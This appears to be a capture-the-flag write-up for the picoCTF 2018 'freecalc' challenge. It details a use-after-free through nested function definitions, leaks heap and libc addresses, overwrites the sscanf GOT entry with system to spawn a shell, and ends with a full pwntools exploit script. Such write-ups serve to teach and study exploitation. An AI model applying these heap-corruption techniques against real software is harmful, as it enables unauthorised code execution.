picoctf 2018 freecalc
I'm new to security, so I did not even know about fastbins when I was tackling this challenge. So my solution only uses the most basic understanding of fastbins: each size has a LIFO freelist. It does not even make use of double-free. As a result the solution may not be the shortest, but it's also interesting that I did not need to leak a heap address, so I thought it'd be interesting to share.
First a few observations about the source:
-
The definition of a function is rather liberal: it can be any sequence of ops, including function definitions themselves. Note that if we do include a
FUNC_DEF
op, itsfuncdef
is parsed right away, so we get a single instance of thefuncdef
. For example,: A 1 : B 1 0
will create afuncdef
forB
right away, and then when runningA
later,B
is defined. If at that pointB
is already defined, however, thisfuncdef
will be freed, butA
still holds a reference to it, leading to a use-after-free opportunity.- How do we take advantage of this though? We need to invoke the freed
funcdef
to make use of any overwritten values, but when a function is stored infunctions[FMAX]
, the pointer tofuncdef
as well as itsname
andops
pointers are never replaced, so our freed function doesn't go into thefunctions
array. So to make that work, we need to overwriteA
'sname
field to point to some other name and then redefine the function again, and then we need to invoke it by the new name.
- How do we take advantage of this though? We need to invoke the freed
-
There are four places in the code that print some values (without exiting right away), let's see if any can be used to leak address information:
- (L1)
printf("Invalid operation '%s'\n", op_string);
inparse_op
. This is not too useful because the string is user-supplied. - (L2)
printf("Running %s\n", f->name);
inrun_op
. This can leak memory if we can controlfuncdef
'sname
. - (L3)
printf("Invalid operation '%ld'\n", op->t);
inrun_op
. This can leak if we controlfuncdef
'sops
to point to arbitrary memory, which will likely have its first 8 bytes not be <= 8 and then we print out the value. We do have to make sureopcount
is small enough to not cause a segfault. - (L4)
printf("%ld\n", s1);
inrun_op
as a result of the=
operation. This can leak if we control anoperation
'sv
. Sincev
is a union of along
and afuncdef_t*
, this is an opportunity to leak heap address if we can somehow make change the operation's type from aFUNCTION
orFUNCDEF
to something likeCONSTANT
.
- (L1)
-
There appears to be only one place where we can write memory: the
memcpy
call indefine_function
. So we'll eventually need to makeoldf->ops
point to a GOT address andf->ops
point to some place withsystem
address, such as astack_el
.
The official hint tells us we should leak both a heap and libc address. Even though in my approach I did not end up needing the heap address, it's helpful to do this first because libc address is harder to leak.
-
0 0
to push two zeros to the stack. We'll use this later. -
: F 1 0
to defineF
. -
: G 1 : F 1 0
to define anG
that definesF
when called. We'll denote this instance ofF
asF'
. -
G
to redefineF
; this freesF'
and itsname
andops
but has no other effect. Note thatF'
is freed last. -
4194322
to push an element to the stack. This allocates the same memory asF'
and overwrites itsname
to some arbitrary string (in this case I picked 0x400012 which happens to be ">"), and overwrites itsops
to the next stack element, which is the second0
we pushed at the beginning. That is interpreted as an operationCONSTANT
whose value is the address of the next stack element (the first0
we pushed). -
G
to defineF'
again but now it has the name>
, so it gets added to thefunctions
array without freeing anything. -
>
to invokeF'
which pushes the address of the first0
stack element, which is a heap address. -
=
to print it out.
To leak libc we need to supply an arbitrary address ourselves; not only that, but we also need to dereference the address before printing it. L2 leak (printf of the function's name) is the only one that dereferences, so we'll use that.
-
0 0 : F 1 0 : G 1 : F 1 0 G 4194322 G
: So far the same as the heap leak. We've defined>
whose memory is aliased to the first stack element. -
: H 1 >
to define a functionH
that simply calls>
. We do this because the next step will change the name of the function so we can't call it directly anymore. By definingH
, we eagerly store a pointer to the function>
, so we can invoke it directly later. -
= 6298584
to pop the stack element and then push a new one with 0x601bd8 (GOT ofsscanf
) as the value. This overwrites>
's name to the address ofsscanf
. -
H
to invoke the function, which prints the name of the function (address ofsscanf
), and also puts the address of the first stack element to the stack. -
=
to also print the heap address (why not?)
This is tricky. We need to invoke memcpy(<GOT addr>, <ptr to ptr to system>, ...)
, so we need to control ops
of both the old and new function, and to do that we need some struct to alias the memory and place a user-controlled value at the +8 position, and the only one that works is operation
which has a v
we control. However, if we alias a funcdef
with an operation
, the operation type aliases the name pointer, but none of 0 - 8 are valid pointers, and we need to reference the function by name in order to redefine it to call memcpy
. So that doesn't work.
stack_el
also seems to not work because the next
pointer is not controlled by us... or is it? It turns out we can, by using the same memcpy
technique again: suppose the stack is A -> B -> ... and A aliases the memory of funcdef
F. By redefining F
, we can overwrite B
's memory with the new ops! Now if B
also aliases another funcdef
G, then G's ops
point to an arbitrary value we control. However, we still have a problem: each function allocates 3 times, so if we free two functions and try to alias them with two stack elements, we'd need to make 2 dummy allocations in between! We can try to get around this by making name
and ops
go to separate fastbins, but that actually backfires because we won't be able to overwrite B
(the realloc will see that B
is too small) anymore.
Fortunately, we can actually pop B
even if it has an invalid next
pointer, and some time later we can push a stack element again, and it will still have the same next
pointer. So we'll just alias it to a funcdef
later.
So here it goes:
-
0
to push a stack element we'll use later. We'll call this stack elementS
. Stack is nowS
-> ... -
: A 1 0 : B 1 0
to define two functionsA
andB
. -
: AR 1 : A 1 0 : BR 1 : B 1 0
which each redefinesA
andB
. We'll refer to these instances offuncdef
byA'
andB'
for clarity. -
AR
to freeA'
and puts it at the top of the fastbin freelist. -
4194336
which aliasesA'
to a new stack element and points its name to@
(0x400020). Stack is nowA'
->S
-> ... -
AR
which definesA'
which is now named@
. -
: @ 1 6298576
. This triggers amemcpy
from the newops
that contain(0x0, sscanf GOT - 8)
toA'.ops
which isA'.next
which isS
. In other words this setsS.next = sscanf GOT - 8
. The stack is nowA'
->S
->sscanf GOT - 8
-> (invalid) -
= =
to popA'
andS
. Stack is nowsscanf GOT - 8
-> (invalid). -
BR
which freesB'
and puts it on top of the fastbin freelist. -
4194364
(0x40003C, the string%
), which sets the stack toB'
->sscanf GOT - 8
-> (invalid) and also aliases the functionB'
and sets its memory to("%", sscanf GOT - 8)
. -
BR
, which definesB'
which is now named%
. -
: % 1 <&system>
. Triggersmemcpy
to write &system to sscanf GOT. It happens to also overwrite the previous GOT entry (which ismalloc
) to 0, but that's OK. -
/bin/sh
which triggerssscanf
on it to give us a shell.
There's just one final issue: the main() function has a bug where line
is freed but not reset to NULL
. This will crash the program if the second line is longer than the first because getline
will try to realloc the buffer. Also, if we don't free a chunk in the same fastbin before the second line is done, we'll get a double-free crash too. Fortunately, we only need to leak a single address, and we only need to use it at the very end, so we can do it in just two lines where the first line is longer, taking care not to exceed max fastbin size which would trigger additional memory corruption checks.
To put it all together here's the script:
from pwn import *
sscanf_got = 0x601bd8
name1 = 0x400012 # ">"
name2 = 0x400020 # "@"
name3 = 0x40003c # "%"
p = remote('2018shell3.picoctf.com', 53084)
p.send('0 0 0 : F 1 0 : G 1 : F 1 0 G %s G : H 1 > = %s H = 0 : A 1 0 : B 1 0 : AR 1 : A 1 0 : BR 1 : B 1 0 AR\n' % (name1, sscanf_got))
system_addr = u64(p.recvline_regex("Running .....\x7f")[len("Running "):] + '\0\0') + 0x45390 - 0x6bad0
print 'system is at', hex(system_addr)
p.send('%s AR : @ 1 %s = = BR %s BR : %% 1 %s /bin/sh\n' % (name2, sscanf_got - 8, name3, system_addr))
p.interactive()